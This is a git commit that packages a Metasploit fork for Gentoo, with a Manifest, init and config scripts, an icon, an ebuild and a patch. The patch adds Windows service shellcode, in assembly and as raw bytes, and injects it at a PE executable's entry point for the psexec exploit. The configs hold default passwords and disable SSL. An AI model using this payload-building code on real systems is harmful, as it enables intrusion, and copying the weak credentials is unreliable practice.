metasploit: fork for our testing

This commit is contained in:
Anton Bolshakov 2014-10-02 18:15:04 +00:00
parent 9d9bf2734f
commit 1e0967fe5c
15 changed files with 984 additions and 0 deletions

View file

@ -0,0 +1,14 @@
AUX agix_psexec_pull-2657.patch 9084 SHA256 ef91ae173f596f293b3aa3af4dfda048bef9c23ea32c628ffe69f6009cf177e8 SHA512 c734969254025513bbd178f2b90cc63044d3997420a1ed7b133c73ecf5a8be6b831d3173fb185b05c47a3bd8c8873b73fd3022303b335cec1f51b6c030496b1d WHIRLPOOL f6fefc57296442559273587a17edf30d04813bcefabc7dea9c83c99b26ec237711d8d58cfa0306d24b54608a9291fe4267a2557e67aa49aa55da3d28e55d4c56
AUX database.yml 613 SHA256 cd7761772acee89e6ff9743fbde33fd1e6d0ffd9d7c271e80be502a25be75dd7 SHA512 b178724382a88b87b9007f950fb5e8f93936f3e5a58f89c90f67120c4d50c98d4de758c8a6e321a0a68caa12ccab003d502377621bfe762279eb5ae2a3d5ff2b WHIRLPOOL ad8a6df2031de5c97299fbcf29d8c18e61fc16ff90d44d6cf1bb4849901cdb883cb5a3549ca8bf5ed0ebfba2056c23ffa302bbff74eb5dcb4005607ca037b833
AUX metasploit.icon 7630 SHA256 d197dd3b939c35d951c2cd5c19b51200ada7f8f92d90775a9eaebdccf18e3949 SHA512 569db261a3782f3874c30ccaf076be512437a9a5a9df835baf29bacec48dd76b2896e009b5ab165ba82aff72ab15d067155f257787e69c3a7cd034dafa5a9066 WHIRLPOOL 3f66eb2a3b51dc787f5da6b2fd93165fdca3e9ae391db0ea69cb0ea5c6c1d9f2d85fffbdb117da4065e0b3e29daa5b7d7e62740cd3210768aa0cfc4a63679376
AUX msfrpcd-4.0-conf 598 SHA256 3ad3e837061fd2b8b28d5afede50fc1965b0df083a8e4b743f39398a344eb6e1 SHA512 3468c2d539916e4a74836a66e6972608d2a0b64188d230e7479b4d3b1494aab2304e4cfd24b3b0ee96a597576a55a88cb91bb7cd7b757f9c18df49c74d4ca575 WHIRLPOOL 6f8f11d0738b2b7f1608f26413d7f99af976cb10548858322d2384384a0326cf45b5f68ff467ab6e687b699db8ad73772950cdd8751f35cbefb049b08ff12c88
AUX msfrpcd-4.0-initd 636 SHA256 18804548c2c869addc72a9c003c35c6d25b8144a9a0f841df602834c27c5fd52 SHA512 f624b56a3de2ba0ddf9474ea1243060d35224879f1c63bbf8550b8202d11678eef83fdddc9e4fd59000e4510c0ae0b55343b6e26ea16edb6f05954456e8ae962 WHIRLPOOL 98aeef214266f529d34ebbb01940579b6a4c4abeab1a4f3228d2feda8ea67d63a480d655f2fb9ea7cbc12727c884c4b7d848d2a9b100ac9115abe41b2dc7394e
AUX msfrpcd-4.2-conf 598 SHA256 3ad3e837061fd2b8b28d5afede50fc1965b0df083a8e4b743f39398a344eb6e1 SHA512 3468c2d539916e4a74836a66e6972608d2a0b64188d230e7479b4d3b1494aab2304e4cfd24b3b0ee96a597576a55a88cb91bb7cd7b757f9c18df49c74d4ca575 WHIRLPOOL 6f8f11d0738b2b7f1608f26413d7f99af976cb10548858322d2384384a0326cf45b5f68ff467ab6e687b699db8ad73772950cdd8751f35cbefb049b08ff12c88
AUX msfrpcd-4.2-initd 636 SHA256 7662ba12ba12bc13e321306c35b93138c9cf35acee30ab403b7a22aecbe139ab SHA512 8a818297536a6e106a1a0c9a6621f186285e34ce557ee85b2cb482ed59a619a89e8a423a02e7bccc8d7a29a66705cee281c652dcf0576361999f44c3a24680b9 WHIRLPOOL 611c0f3a505097aa3eb9efdd5834c0b2259d3e685e272f4ef73748dedc4af71ae15e473721332463137799fb98bf3d75d90e98bad1e9b2022da9134ef54bcdf4
AUX msfrpcd-4.3-conf 598 SHA256 3ad3e837061fd2b8b28d5afede50fc1965b0df083a8e4b743f39398a344eb6e1 SHA512 3468c2d539916e4a74836a66e6972608d2a0b64188d230e7479b4d3b1494aab2304e4cfd24b3b0ee96a597576a55a88cb91bb7cd7b757f9c18df49c74d4ca575 WHIRLPOOL 6f8f11d0738b2b7f1608f26413d7f99af976cb10548858322d2384384a0326cf45b5f68ff467ab6e687b699db8ad73772950cdd8751f35cbefb049b08ff12c88
AUX msfrpcd-4.3-initd 632 SHA256 14b96d4e738c1596ff7c83ecfb3e973563034bc468ea5355713e67510de5c116 SHA512 b6b00ed041b854e84ab3a9260586325bd980e18b5cb1c526a7e3f71a36ea4497a4641509862bc03e6c45e37182612f75426244579e518c8b3f6da36939641589 WHIRLPOOL e15d2783f3901f19a6d1f314cb4d759c32ff7acc40005d7382767399a1a61d47c043a4be2fe165a84855b85d038b65b614c3c573d35addb7bd21a6b094ab5f36
AUX msfrpcd-4.4-conf 598 SHA256 3ad3e837061fd2b8b28d5afede50fc1965b0df083a8e4b743f39398a344eb6e1 SHA512 3468c2d539916e4a74836a66e6972608d2a0b64188d230e7479b4d3b1494aab2304e4cfd24b3b0ee96a597576a55a88cb91bb7cd7b757f9c18df49c74d4ca575 WHIRLPOOL 6f8f11d0738b2b7f1608f26413d7f99af976cb10548858322d2384384a0326cf45b5f68ff467ab6e687b699db8ad73772950cdd8751f35cbefb049b08ff12c88
AUX msfrpcd-4.4-initd 638 SHA256 4e3f18ab619a0067c7ac9a9f13d6824496cb36adf20c216bb96ad365b1ef2725 SHA512 21faadd62a90deaecb617cb106a471de39147e1702f149c1d356ae18f188bf3102bb9e9642122afa2d9c49325bd4cba6f04acaa8f5be2ca238adeb56c9c81821 WHIRLPOOL 8069bec85919e26faf838b8965153425adbd5c46c004ddb0a94c7e6d2b63aeaa30479592b556f2939c90c216d63103931967c36a21b3d9eaa2763d0120c9ba09
AUX msfweb.confd 273 SHA256 006040ecd27dc0279c2bea6d69365fe1f0d66f507c039ae43720662abe9f4460 SHA512 58481d69f99bec1644188ecb5f67249c3c85c12ae65d46643c3daf42b5221f8d1b025ea318ed6d11557cbc16e50acc5eaabb99162d538518265755ebcdb042ab WHIRLPOOL 1cbb5a5ff20eb90f7db6f5523bf8834cfd5aa2c98e378408e418f388993af661273257112db2ebcd950bfa9243e9f19ba4a5262fd2bccc7cc6276658f86115bb
AUX msfweb.initd 533 SHA256 4fd9668e4b467ecfa5160e2c108ac8ace71fbeaefaf829d2f7bfb566d44bb13c SHA512 ec8eb9c09191d273417174c23d2fb1a3d27939a74b010fa33ca696bcce88e9c81d6cc1e6ebff90ea97cb6d730776364de4560db1bed10516ba4a7030e7233a53 WHIRLPOOL dec6ca3cf45ac4e6cea35266df1342b4dcdb3f813dc90820603f23e9d62ee67a9633de17d747cc12d7cb9c982e8868559896c2f8c42540a5005f485045d9730a
EBUILD metasploit-9999-r1.ebuild 10293 SHA256 2c514bbce29e57fb4f3716363548a8319f315e1c9c5b604281c63029c10f0626 SHA512 de96d700d68fc3a61c6e8fe6a96078a0e13e46b8b9d60fe0a5daeabadad012237bd0bd2ac3c50fbaba2c722d5e456bb97cd9ce6647179c68534546c6620d48f1 WHIRLPOOL 3ed8aa29861f16699875e381ea2a29c7ec3c62b17310f6defb628ce8151648fd17eae01ae5408dd53d461914872ce692f96a27bf0e458c22b84f3f1fff343c26

View file

@ -0,0 +1,219 @@
diff -Naur metasploit-9999.orig/external/source/shellcode/windows/x86/src/block/block_service.asm metasploit-9999/external/source/shellcode/windows/x86/src/block/block_service.asm
--- metasploit-9999.orig/external/source/shellcode/windows/x86/src/block/block_service.asm 1970-01-01 01:00:00.000000000 +0100
+++ metasploit-9999/external/source/shellcode/windows/x86/src/block/block_service.asm 2013-11-20 11:50:48.256366095 +0100
@@ -0,0 +1,64 @@
+;-----------------------------------------------------------------------------;
+; Author: agix (florian.gaultier[at]gmail[dot]com)
+; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
+; Size: 137 bytes
+;-----------------------------------------------------------------------------;
+
+[BITS 32]
+; Input: EBP must be the address of 'api_call'.
+
+push byte 0x0
+push 0x32336970
+push 0x61766461
+push esp
+push 0x726774c
+call ebp ;load advapi32.dll
+push 0x00454349
+push 0x56524553
+mov ecx, esp ;ServiceTableEntry.SVCNAME
+lea eax, [ebp+0xd0];ServiceTableEntry.SvcMain
+push 0x00000000
+push eax
+push ecx
+mov eax,esp
+push 0x00000000
+push eax
+push 0xCB72F7FA
+call ebp ;call StartServiceCtrlDispatcherA(ServiceTableEntry)
+push 0x00000000
+push 0x56A2B5F0
+call ebp ;call ExitProcess(0)
+pop eax ;SvcCtrlHandler
+pop eax
+pop eax
+pop eax
+xor eax,eax
+ret
+cld ;SvcMain
+call me
+me:
+pop ebp
+sub ebp, 0xd6 ;ebp => hashFunction
+push 0x00464349
+push 0x56524553
+mov ecx, esp ;SVCNAME
+lea eax, [ebp+0xc9];SvcCtrlHandler
+push 0x00000000
+push eax
+push ecx
+push 0x5244AA0B
+call ebp ;RegisterServiceCtrlHandlerExA
+push 0x00000000
+push 0x00000000
+push 0x00000000
+push 0x00000000
+push 0x00000000
+push 0x00000000
+push 0x00000004
+push 0x00000010
+mov ecx, esp
+push 0x00000000
+push ecx
+push eax
+push 0x7D3755C6
+call ebp ;SetServiceStatus RUNNING
\ No newline at end of file
diff -Naur metasploit-9999.orig/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm metasploit-9999/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm
--- metasploit-9999.orig/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm 1970-01-01 01:00:00.000000000 +0100
+++ metasploit-9999/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm 2013-11-20 11:50:48.256366095 +0100
@@ -0,0 +1,17 @@
+;-----------------------------------------------------------------------------;
+; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
+; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
+; Version: 1.0 (28 July 2009)
+; Size: 189 bytes + strlen(libpath) + 1
+; Build: >build.py single_service_stuff
+;-----------------------------------------------------------------------------;
+
+[BITS 32]
+[ORG 0]
+
+ cld ; Clear the direction flag.
+ call start ; Call start, this pushes the address of 'api_call' onto the stack.
+%include "./src/block/block_api.asm"
+start: ;
+ pop ebp ; pop off the address of 'api_call' for calling later.
+%include "./src/block/block_service.asm"
\ No newline at end of file
diff -Naur metasploit-9999.orig/lib/msf/util/exe.rb metasploit-9999/lib/msf/util/exe.rb
--- metasploit-9999.orig/lib/msf/util/exe.rb 2013-11-20 11:50:31.748365346 +0100
+++ metasploit-9999/lib/msf/util/exe.rb 2013-11-20 11:50:48.256366095 +0100
@@ -402,36 +402,86 @@
case opts[:exe_type]
when :service_exe
+ exe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
max_length = 8192
name = opts[:servicename]
- if name
- bo = pe.index('SERVICENAME')
- raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
- pe[bo, 11] = [name].pack('a11')
+ if not name
+ name = Rex::Text.rand_text_alpha(7)
end
-
- if not opts[:sub_method]
- pe[136, 4] = [rand(0x100000000)].pack('V')
+ #code_service could be encoded in the future
+ code_service =
+ "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
+ "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
+ "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
+ "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
+ "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
+ "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
+ "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
+ "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
+ "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
+ "\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
+ "\x26\x07\xFF\xD5\x68"+name[4,3]+"\x00\x68"+name[0,4]+"\x89\xE1" +
+ "\x8D\x85\xD0\x00\x00\x00\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
+ "\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
+ "\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED\xD6" +
+ "\x00\x00\x00\x68"+name[4,3]+"\x00\x68"+name[0,4]+"\x89\xE1\x8D" +
+ "\x85\xC9\x00\x00\x00\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
+ "\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
+ "\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5"
+
+ pe_header_size=0x18
+ section_size=0x28
+ characteristics_offset=0x24
+ virtualAddress_offset=0xc
+ sizeOfRawData_offset=0x10
+
+ sections_table_rva = exe._dos_header.v['e_lfanew']+exe._file_header.v['SizeOfOptionalHeader']+pe_header_size
+ sections_table_offset = exe.rva_to_file_offset(sections_table_rva)
+ sections_table_characteristics_offset = exe.rva_to_file_offset(sections_table_rva+characteristics_offset)
+
+ sections_header = []
+ exe._file_header.v['NumberOfSections'].times { |i|
+ sections_header << [sections_table_characteristics_offset+(i*section_size),pe[sections_table_offset+(i*section_size),section_size]]
+ }
+
+ #look for section with entry point
+ sections_header.each do |sec|
+ virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('L')[0]
+ sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('L')[0]
+ characteristics = sec[1][characteristics_offset,0x4].unpack('L')[0]
+ if exe.hdr.opt.AddressOfEntryPoint >= virtualAddress && exe.hdr.opt.AddressOfEntryPoint < virtualAddress+sizeOfRawData
+ #put this section writable
+ characteristics|=0x80000000
+ newcharacteristics = [characteristics].pack('L')
+ pe[sec[0],newcharacteristics.length]=newcharacteristics
+ end
end
+
+ #put the shellcode at the entry point, overwriting template
+ pe[exe.rva_to_file_offset(exe.hdr.opt.AddressOfEntryPoint),code_service.length+code.length]=code_service+code
+
when :dll
max_length = 2048
when :exe_sub
max_length = 4096
end
- bo = pe.index('PAYLOAD:')
- raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
+ if opts[:exe_type] != :service_exe
- if (code.length <= max_length)
- pe[bo, code.length] = [code].pack("a*")
- else
- raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module"
- end
+ bo = pe.index('PAYLOAD:')
+ raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
- if opts[:exe_type] == :dll
- mt = pe.index('MUTEX!!!')
- pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
+ if (code.length <= max_length)
+ pe[bo, code.length] = [code].pack("a*")
+ else
+ raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module"
+ end
+
+ if opts[:exe_type] == :dll
+ mt = pe.index('MUTEX!!!')
+ pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
+ end
end
return pe
@@ -463,7 +513,7 @@
def self.to_win32pe_service(framework, code, opts={})
# Allow the user to specify their own service EXE template
- set_template_default(opts, "template_x86_windows_svc.exe")
+ set_template_default(opts, "template_x86_windows.exe")
opts[:exe_type] = :service_exe
exe_sub_method(code,opts)
end
diff -Naur metasploit-9999.orig/modules/exploits/windows/smb/psexec.rb metasploit-9999/modules/exploits/windows/smb/psexec.rb
--- metasploit-9999.orig/modules/exploits/windows/smb/psexec.rb 2013-11-20 11:50:31.988365357 +0100
+++ metasploit-9999/modules/exploits/windows/smb/psexec.rb 2013-11-20 11:50:48.256366095 +0100
@@ -153,7 +153,7 @@
# Disconnect from the ADMIN$
simple.disconnect("ADMIN$")
else
- servicename = rand_text_alpha(8)
+ servicename = rand_text_alpha(7)
# Upload the shellcode to a file
print_status("Uploading payload...")

View file

@ -0,0 +1,34 @@
#
# The tests currently use the development user
# https://dev.metasploit.com/redmine/issues/8418
#
development:
adapter: "postgresql"
database: "msf_test_database"
username: "msf_test_user"
password: "secure"
port: 5432
host: "localhost"
pool: 256
timeout: 5
production:
adapter: "postgresql"
database: "msf_database"
username: "msf_user"
password: "secure"
port: 5432
host: "localhost"
pool: 256
timeout: 5
test:
adapter: "postgresql"
database: "msf_test_database"
username: "msf_test_user"
password: "secure"
port: 5432
host: "localhost"
pool: 256
timeout: 5

View file

@ -0,0 +1,224 @@
/* XPM */
static char *metasploit[] = {
/* columns rows colors chars-per-pixel */
"48 48 170 2 ",
" c #000000",
". c #0B0B0B",
"X c #131313",
"o c #1C1C1C",
"O c #251B0D",
"+ c #2C2112",
"@ c #2C241C",
"# c #081933",
"$ c #061F3B",
"% c #07203C",
"& c #09223C",
"* c #232323",
"= c #2D2D2D",
"- c #353535",
"; c #383838",
": c #0C2141",
"> c #0F264C",
", c #0F284D",
"< c #072755",
"1 c #082754",
"2 c #062855",
"3 c #0E2C57",
"4 c #072858",
"5 c #0D2F5C",
"6 c #033A6E",
"7 c #1A3166",
"8 c #043C72",
"9 c #2F456F",
"0 c #2A4174",
"q c #314774",
"w c #314A75",
"e c #424242",
"r c #444A5F",
"t c #545454",
"y c #5B5B5B",
"u c #414B60",
"i c #515A6F",
"p c #4B6975",
"a c #416679",
"s c #46697B",
"d c #4D6D7C",
"f c #636363",
"g c #686868",
"h c #727272",
"j c #7B7B7B",
"k c #B37777",
"l c #C76852",
"z c #F26E40",
"x c #C77A6F",
"c c #DA8D75",
"v c #023986",
"b c #002F99",
"n c #043296",
"m c #043898",
"M c #0038A0",
"N c #094089",
"B c #1C4583",
"V c #194997",
"C c #1E4E9F",
"Z c #215192",
"A c #225A9F",
"S c #3D5C98",
"D c #3B6F8A",
"F c #0D43AD",
"G c #1F4EA2",
"H c #1F4EAA",
"J c #1753BB",
"K c #1852B9",
"L c #224FA8",
"P c #2450A4",
"I c #2E55A0",
"U c #2755AD",
"Y c #2956AE",
"T c #3464A5",
"R c #2963BC",
"E c #466E81",
"W c #447082",
"Q c #6C739A",
"! c #4471B1",
"~ c #4873B6",
"^ c #4870BB",
"/ c #4D78BA",
"( c #0D53C3",
") c #1866C9",
"_ c #046EDB",
"` c #126FD4",
"' c #0C73DD",
"] c #3767C7",
"[ c #326AC2",
"{ c #3D75C4",
"} c #3574C8",
"| c #3B74C9",
" . c #3E79CC",
".. c #2F74D3",
"X. c #3B7BD0",
"o. c #006EE5",
"O. c #0479E5",
"+. c #0074E9",
"@. c #087EEC",
"#. c #1479E1",
"$. c #497AC7",
"%. c #447BCD",
"&. c #487FD2",
"*. c #5B84A8",
"=. c #3B82DA",
"-. c #0C86EF",
";. c #1F80E5",
":. c #1393F9",
">. c #1C99FB",
",. c #348FEC",
"<. c #3290E5",
"1. c #3491EB",
"2. c #2490F3",
"3. c #279EFD",
"4. c #3CA8FF",
"5. c #5394D2",
"6. c #758FC3",
"7. c #689AD3",
"8. c #7399D1",
"9. c #4090E6",
"0. c #4990E4",
"q. c #4694EB",
"w. c #559BED",
"e. c #4B9BF1",
"r. c #539FF3",
"t. c #45A4FD",
"y. c #47AAFA",
"u. c #56A0F4",
"i. c #5AA4F5",
"p. c #5CA6F8",
"a. c #56B5FD",
"s. c #71A3E1",
"d. c #65AFFB",
"f. c #66B7FF",
"g. c #68B7FF",
"h. c #6CC2FF",
"j. c #70C9FF",
"k. c #7CD7FF",
"l. c #7ED9FF",
"z. c #838383",
"x. c #8B8B8B",
"c. c #939393",
"v. c #9D9D9D",
"b. c #B18A8B",
"n. c #9193AB",
"m. c #A3A3A3",
"M. c #AEAEAE",
"N. c #B2B2B2",
"B. c #BDBDBD",
"V. c #8299C5",
"C. c #8899C3",
"Z. c #81C2FF",
"A. c #8BCEFF",
"S. c #86D7FF",
"D. c #8BD1FF",
"F. c #84DCFF",
"G. c #8ADFFF",
"H. c #94D6FF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P.W.W.W.U.- W.W.W.Y. o x.R.W.W.I.f . 7 Y 3 $ Q.",
"Q.V.u W.W.W.Y. W.W.W.I. W.W.W.B.* Y.W.W.W.W.j W.W.W.Y. . f U.W.W.R.z. 7 Y 3 $ Q.",
"Q.V.u W.W.W.Y. W.W.W.Y. W.W.W.U.g . f T.W.W.W.g W.W.W.Y. y W.W.W. 7 Y 3 & Q.",
"Q.V.u W.W.W.Y. W.W.W.Y.. W.W.W.R.W.t ; W.W.W.M. W.W.W.Y. e N.W.W.W.m. 7 Y 3 $ Q.",
"Q.V.u W.W.W.Y. W.W.W.Y.- W.W.W.Y.E.W.U.T.W.W.W.c. W.W.W.Y. . g U.W.W.R.z.o 7 Y 3 $ Q.",
"Q.V.u W.W.W.Y. W.W.W.U.m.W.W.W.P.c.W.W.W.W.W.E.* W.W.W.R. R.W.W.U.f . 7 Y 3 $ Q.",
"Q.V.u U.W.W.U. W.W.W.m.T.W.W.W.x.. c.R.W.E.N.= U.W.W.T. W.N.e 7 Y 3 $ Q.",
"Q.V.u * 7 Y 3 $ Q.",
"Q.V.u 7 Y 3 $ Q.",
"Q.V.u 7 Y 3 $ Q.",
"Q.V.u 7 Y 3 $ Q.",
"Q.V.u 7 Y 3 $ Q.",
"Q.V.u 7 Y 3 $ Q.",
"Q.V.u 7 Y 3 $ Q.",
"Q.V.u . . . . . . . . . . . . . 7 Y 3 $ Q.",
"Q.6.i O @ @ @ @ + @ @ @ @ @ + @ @ @ @ @ @ @ @ @ @ @ @ @ + @ @ @ @ @ @ @ + @ @ @ @ @ + 0 H 3 & Q.",
"Q.^ S 9 w w w w q w w w w w w w w w w w w w w w w w w w w w w w w w w w w w w w w w q I G 3 $ Q.",
"Q.V V P C G C C C C P C C C C C P C C C C C C C C C C C C C C C C C C C C C C P A C P A B > $ Q.",
"Q.3 1 > , > > > > > > > > > > > > > > > > > > > > > > > > > , , > > > > > > > > > > > > > & : Q.",
"Q.Q.Q.Q.Q.# # # # # # # # # # # # # # # # # # # # #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basic"
# URI for Web server
#MSF_OPTS="${MSF_OPTS} -u "
# Disable SSL on the XMLRPC socket
# JAVA GUI doesn't support SSL as of Nov 6, 2010
MSF_OPTS="${MSF_OPTS} -S"

View file

@ -0,0 +1,22 @@
#!/sbin/runscript
# Copyright 1999-2011 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: /var/cvsroot/gentoo-x86/net-analyzer/metasploit/files/msfrpcd-4.0-initd,v 1.1 2011/08/03 05:56:15 patrick Exp $
VERSION=4.0
PIDFILE=/var/run/msfrpcd${VERSION}.pid
start() {
ebegin "Starting msfrpcd${VERSION}"
start-stop-daemon --start --quiet --background \
--exec /usr/lib/metasploit${VERSION}/msfrpcd \
--pidfile ${PIDFILE} \
--make-pidfile -- -f ${MSF_OPTS}
eend $?
}
stop() {
ebegin "Stopping msfrpcd${VERSION}"
start-stop-daemon --stop --quiet -s 9 --pidfile ${PIDFILE}
eend $?
}

View file

@ -0,0 +1,25 @@
# Config file for /etc/init.d/msfrpcd
# msfrpcd -h for more info
# Bind to the following IP instead of 0.0.0.0
MSF_OPTS="-a 127.0.0.1"
# Bind to the following TCP port instead of default 55553
#MSF_OPTS="${MSF_OPTS} -p 55553"
# Specify the username to access msfrpcd
MSF_OPTS="${MSF_OPTS} -U msf"
# Specify the password to access msfrpcd
MSF_OPTS="${MSF_OPTS} -P secret"
# Server type, [Basic|Web]
#MSF_OPTS="${MSF_OPTS} -t Basic"
# URI for Web server
#MSF_OPTS="${MSF_OPTS} -u "
# Disable SSL on the XMLRPC socket
# JAVA GUI doesn't support SSL as of Nov 6, 2010
MSF_OPTS="${MSF_OPTS} -S"

View file

@ -0,0 +1,22 @@
#!/sbin/runscript
# Copyright 1999-2012 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: /var/cvsroot/gentoo-x86/net-analyzer/metasploit/files/msfrpcd-4.2-initd,v 1.1 2012/02/28 08:09:31 patrick Exp $
VERSION=4.2
PIDFILE=/var/run/msfrpcd${VERSION}.pid
start() {
ebegin "Starting msfrpcd${VERSION}"
start-stop-daemon --start --quiet --background \
--exec /usr/lib/metasploit${VERSION}/msfrpcd \
--pidfile ${PIDFILE} \
--make-pidfile -- -f ${MSF_OPTS}
eend $?
}
stop() {
ebegin "Stopping msfrpcd${VERSION}"
start-stop-daemon --stop --quiet -s 9 --pidfile ${PIDFILE}
eend $?
}

View file

@ -0,0 +1,25 @@
# Config file for /etc/init.d/msfrpcd
# msfrpcd -h for more info
# Bind to the following IP instead of 0.0.0.0
MSF_OPTS="-a 127.0.0.1"
# Bind to the following TCP port instead of default 55553
#MSF_OPTS="${MSF_OPTS} -p 55553"
# Specify the username to access msfrpcd
MSF_OPTS="${MSF_OPTS} -U msf"
# Specify the password to access msfrpcd
MSF_OPTS="${MSF_OPTS} -P secret"
# Server type, [Basic|Web]
#MSF_OPTS="${MSF_OPTS} -t Basic"
# URI for Web server
#MSF_OPTS="${MSF_OPTS} -u "
# Disable SSL on the XMLRPC socket
# JAVA GUI doesn't support SSL as of Nov 6, 2010
MSF_OPTS="${MSF_OPTS} -S"

View file

@ -0,0 +1,22 @@
#!/sbin/runscript
# Copyright 1999-2012 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: /var/cvsroot/gentoo-x86/net-analyzer/metasploit/files/msfrpcd-4.3-initd,v 1.2 2012/05/16 02:48:18 jer Exp $
VERSION=4.3
PIDFILE=/var/run/msfrpcd${VERSION}.pid
start() {
ebegin "Starting msfrpcd${VERSION}"
start-stop-daemon --start --quiet --background \
--exec /usr/lib/metasploit${VERSION}/msfrpcd \
--pidfile ${PIDFILE} \
--make-pidfile -- -f ${MSF_OPTS}
eend $?
}
stop() {
ebegin "Stopping msfrpcd${VERSION}"
start-stop-daemon --stop --quiet -s 9 --pidfile ${PIDFILE}
eend $?
}

View file

@ -0,0 +1,25 @@
# Config file for /etc/init.d/msfrpcd
# msfrpcd -h for more info
# Bind to the following IP instead of 0.0.0.0
MSF_OPTS="-a 127.0.0.1"
# Bind to the following TCP port instead of default 55553
#MSF_OPTS="${MSF_OPTS} -p 55553"
# Specify the username to access msfrpcd
MSF_OPTS="${MSF_OPTS} -U msf"
# Specify the password to access msfrpcd
MSF_OPTS="${MSF_OPTS} -P secret"
# Server type, [Basic|Web]
#MSF_OPTS="${MSF_OPTS} -t Basic"
# URI for Web server
#MSF_OPTS="${MSF_OPTS} -u "
# Disable SSL on the XMLRPC socket
# JAVA GUI doesn't support SSL as of Nov 6, 2010
MSF_OPTS="${MSF_OPTS} -S"

View file

@ -0,0 +1,22 @@
#!/sbin/runscript
# Copyright 1999-2012 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: /var/cvsroot/gentoo-x86/net-analyzer/metasploit/files/msfrpcd-4.4-initd,v 1.1 2012/08/24 02:28:18 zerochaos Exp $
VERSION=4.3
PIDFILE=/var/run/msfrpcd${VERSION}.pid
start() {
ebegin "Starting msfrpcd${VERSION}"
start-stop-daemon --start --quiet --background \
--exec /usr/lib/metasploit${VERSION}/msfrpcd \
--pidfile ${PIDFILE} \
--make-pidfile -- -f ${MSF_OPTS}
eend $?
}
stop() {
ebegin "Stopping msfrpcd${VERSION}"
start-stop-daemon --stop --quiet -s 9 --pidfile ${PIDFILE}
eend $?
}

View file

@ -0,0 +1,13 @@
# Config file for /etc/init.d/metasploit
# Pidfile
PIDFILE=/var/run/msfweb.pid
# Bind to the following IP instead of the loopback address
IPADDR=127.0.0.1
# Bind to the following TCP port instead of default 55555
PORT=55555
# All options
MSF_OPTS="-a $IPADDR -p $PORT"

View file

@ -0,0 +1,18 @@
#!/sbin/runscript
# Copyright 1999-2005 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: /var/cvsroot/gentoo-x86/net-analyzer/metasploit/files/msfweb.initd,v 1.3 2006/11/03 12:08:57 pva Exp $
start() {
ebegin "Starting msfweb"
start-stop-daemon --start --quiet --background --exec /usr/bin/msfweb \
--pidfile ${PIDFILE} --make-pidfile -- ${MSF_OPTS}
eend $?
}
stop() {
ebegin "Stopping msfweb"
start-stop-daemon --stop --quiet --pidfile ${PIDFILE}
rm -f ${PIDFILE}
eend $?
}

View file

@ -0,0 +1,274 @@
# Copyright 1999-2014 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: /var/cvsroot/gentoo-x86/net-analyzer/metasploit/metasploit-9999.ebuild,v 1.32 2014/07/17 19:28:14 zerochaos Exp $
EAPI="5"
if [[ ${PV} == "9999" ]] ; then
EGIT_REPO_URI="https://github.com/rapid7/metasploit-framework.git"
EGIT_CHECKOUT_DIR="${WORKDIR}"/all
inherit git-r3
KEYWORDS=""
else
#https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version
SRC_URI="http://downloads.metasploit.com/data/releases/archive/framework-${PV}.tar.bz2"
KEYWORDS="~amd64 ~arm ~x86"
S="${WORKDIR}"/msf3
fi
#ruby20 doesn't have wide enough support in gentoo yet (but is semi-supported upstream)
USE_RUBY="ruby19"
inherit eutils ruby-ng
DESCRIPTION="Advanced open-source framework for developing, testing, and using vulnerability exploit code"
HOMEPAGE="http://www.metasploit.org/"
SLOT="9999"
LICENSE="BSD"
IUSE="development +java lorcon oracle +pcap test"
#multiple known bugs with tests reported upstream and ignored
